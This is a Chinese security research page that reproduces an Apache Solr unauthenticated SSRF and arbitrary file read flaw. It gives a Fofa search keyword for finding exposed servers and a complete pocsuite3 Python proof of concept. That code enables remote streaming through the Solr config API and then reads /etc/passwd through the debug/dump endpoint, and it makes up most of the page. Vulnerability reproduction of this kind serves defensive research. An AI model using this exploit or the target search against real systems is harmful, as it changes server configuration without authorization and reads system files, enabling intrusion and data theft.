返回首页
EN
H7 / SECURITY RESEARCH NOTES

Apache Solr SSRF导致任意文件读取漏洞复现

本页导航6 个章节

0x01 漏洞详情

Apache Solr是一个开源的搜索服务,使用Java语言开发,主要基于HTTP和Apache Lucene实现的。 logo.png

Apache Solr默认安装为未授权,攻击者可访问未授权的接口,构造恶意的HTTP请求造成SSRF漏洞,进而对目标服务器上任意文件进行读取。

0X02 影响版本

Apache Solr 全版本

0x03 环境搭建

Fofa搜索关键字:"Apache-Solr"

0x04 POC编写

# /usr/bin/env python3
# coding:utf8

from pocsuite3.api import Output, POCBase, register_poc, requests, logger
import sys
import json


class TestPOC(POCBase):
    vulID = 'Hunter-0x07'
    version = 'v1'
    author = ['Hunter-0x07']
    vulDate = '2021-03-18'
    createDate = '2021-03-18'
    updateDate = '2020-03-18'
    references = ['']
    name = 'Apache Solr SSRF导致任意文件读取漏洞'
    appPowerLink = ''
    appName = 'Apache Solr'
    appVersion = '''当前所有版本'''
    vulType = 'Arbitrary File Read'
    desc = ''''''

    def _verify(self):
        result = {}

        self.url = self.url.strip("/")

        # 获取core_name
        self._core_name = self._get_core_name()

        # 验证是否未授权
        self._unauthrize_verify()

        # 尝试读取目标服务器文件
        if self._read_file():
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
            logger.info("target is vulnerable")

        return self.parse_output(result)

    def _get_core_name(self):
        """尝试获取core_name"""
        core_url = self.url + "/solr/admin/cores?indexInfo=false&wt=json"

        try:
            res = requests.get(url=core_url, headers=self.headers)
            core_name = list(json.loads(res.text)["status"])[0]

            return core_name

        except Exception as e:
            pass

    def _unauthrize_verify(self):
        try:
            post_data = '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}'
            vuln_url = self.url + "/solr/" + self._core_name + "/config"

            res = requests.post(url=vuln_url, headers=self.headers, data=post_data)
            if "This" in res.text and res.status_code == 200:
                logger.info("目标可能存在漏洞".format(vuln_url))
            else:
                logger.info("目标不存在漏洞,退出程序".format(vuln_url))
                sys.exit(0)

        except Exception as e:
            pass

    def _read_file(self):
        vuln_url = self.url + f"/solr/{self._core_name}/debug/dump?param=ContentStreams"
        post_data = {
            "stream.url": "file:///etc/passwd"
        }

        try:
            res = requests.post(url=vuln_url, headers=self.headers, data=post_data)

            if "root:x" in res.text:
                return True
            else:
                logger.info("目标不存在漏洞")

        except Exception as e:
            pass

    def _attack(self):
        return self._verify()

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


register_poc(TestPOC)

0x06 POC复现

存在漏洞,如图所示:

poc_solr_success.png

不存在漏洞,如图所示: poc_solr_failed.png

0x07 参考链接

https://issues.apache.org/jira/browse/SOLR https://cwiki.apache.org/confluence/display/solr/SolrSecurity